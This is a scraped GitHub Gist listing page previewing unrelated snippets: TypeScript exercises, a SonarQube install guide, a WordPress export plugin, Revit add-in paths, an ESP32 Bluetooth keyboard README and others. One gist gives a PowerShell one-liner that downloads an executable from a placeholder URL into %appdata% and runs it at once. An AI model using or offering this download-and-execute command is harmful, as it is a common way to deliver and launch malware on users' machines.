Skip to content

Instantly share code, notes, and snippets.

@QuocCao-dev
QuocCao-dev / 1.Basic-Type.txt
Last active May 6, 2024 16:40
Typescript Exercises
/* *-*-*-*-*-*-*-*-*-*-* Challenge 1 ------------------
Create a variable with the type number and assign it an arbitrary value
*/
// ----------------------------------------------------
// *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
// ----------------------------------------------------
/* *-*-*-*-*-*-*-*-*-*-* Challenge 2 ------------------
Create a variable with the type string and use the addition operator to put two arbitrary words together
*/
@dmancloud
dmancloud / How to Install SonarQube in Ubuntu Linux.md
Last active May 6, 2024 16:40
How to Install SonarQube in Linux

How to Install Sonarqube in Ubuntu Linux

Prerequsites

Virtual Machine running Ubuntu 22.04 or newer

Install Postgresql 15

sudo apt update
sudo apt upgrade

sudo sh -c 'echo "deb http://apt.postgresql.org/pub/repos/apt $(lsb_release -cs)-pgdg main" > /etc/apt/sources.list.d/pgdg.list'
class MainActivity : ComponentActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
WindowCompat.setDecorFitsSystemWindows(window, false)
super.onCreate(savedInstanceState)
setContent {
ColorPickerTheme {
Surface(
modifier = Modifier.fillMaxSize(),
color = MaterialTheme.colorScheme.background
) {
@ledangtuanbk
ledangtuanbk / mac_wifi.sh
Last active May 6, 2024 16:37
Save connected wifi by date
echo "start `date`"
# Get the directory of the currently running script
script_dir=$(dirname "$0")
# Change the working directory to the directory of the script
cd "$script_dir"
echo `pwd`
@jsnelders
jsnelders / wordpress_export_to_json.php
Last active May 6, 2024 16:35
Export all core WordPress data (posts, pages, attachments, comments, tags, categories and users) to a JSON formatted file.
<?php
/**
* Plugin Name: WordPress Export to JSON
* Plugin URI: https://jsnelders.com/
* Description: Export all WordPress posts, pages, comments, tags, commments and users to a JSON file.
* Author: Jason Snelders
* Author URI: http://jsnelders.com
* Version: 2020-01-30.1
**/
@teocomi
teocomi / revit-addin-locations.txt
Last active May 6, 2024 16:34
Revit Addin folder location
Autodesk Revit addins are generally loaded from the following locations.
User Addins:
%appdata%\Autodesk\Revit\Addins\
%appdata%\Autodesk\ApplicationPlugins\
Machine Addins (for all users of the machine):
C:\ProgramData\Autodesk\Revit\Addins\
Addins packaged for the Autodesk Exchange store:
@manuelbl
manuelbl / README.md
Created August 3, 2019 09:12
ESP32 as Bluetooth Keyboard

ESP32 as Bluetooth Keyboard

With its built-in Bluetooth capabilities, the ESP32 can act as a Bluetooth keyboard. The below code is a minimal example of how to achieve it. It will generate the key strokes for a message whenever a button attached to the ESP32 is pressed.

For the example setup, a momentary button should be connected to pin 2 and to ground. Pin 2 will be configured as an input with pull-up.

In order to receive the message, add the ESP32 as a Bluetooth keyboard of your computer or mobile phone:

  1. Go to your computers/phones settings
  2. Ensure Bluetooth is turned on
@henriksb
henriksb / Powershell download and execute one-liner
Created October 26, 2018 20:01
Quick one-liner to download and execute any file
powershell -c "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'ENTER URL' -OutFile '%appdata%\a.exe'; %appdata%\a.exe"
@acutmore
acutmore / _web-framework-render-fns.md
Last active May 6, 2024 16:31
Comparing web framework render functions